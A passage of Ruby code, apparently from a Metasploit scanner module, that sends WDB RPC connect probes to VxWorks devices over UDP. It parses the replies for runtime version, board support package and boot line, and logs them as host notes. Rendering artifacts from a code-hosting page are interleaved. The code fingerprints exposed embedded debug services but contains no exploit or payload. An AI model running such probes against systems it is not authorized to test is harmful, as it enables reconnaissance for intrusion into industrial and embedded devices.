if data.length < 80
|
||||
print_status("#{pkt[1]}: Unknown response #{data.unpack("H*")[0]}")
|
||||
return
|
||||
end
|
||||
|
||||
res = wdbrpc_parse_connect_reply(data)
|
||||
print_status("#{pkt[1]}: #{res[:rt_vers]} #{res[:rt_bsp_name]} #{res[:rt_bootline]}")
|
||||
|
||||
report_note(
|
||||
:host => pkt[1],
|
||||
:port => datastore['RPORT'],
|
||||
:proto => 'udp',
|
||||
:type => 'vxworks.target_info',
|
||||
:data => res,
|
||||
:update => :unique
|
||||
)
|
||||
end
|
||||
|
||||
def create_probe(ip)
|
||||
wdbrpc_request_connect(ip)
|
||||
end
|
||||
end
|
||||
|
Loading…
Reference in New Issue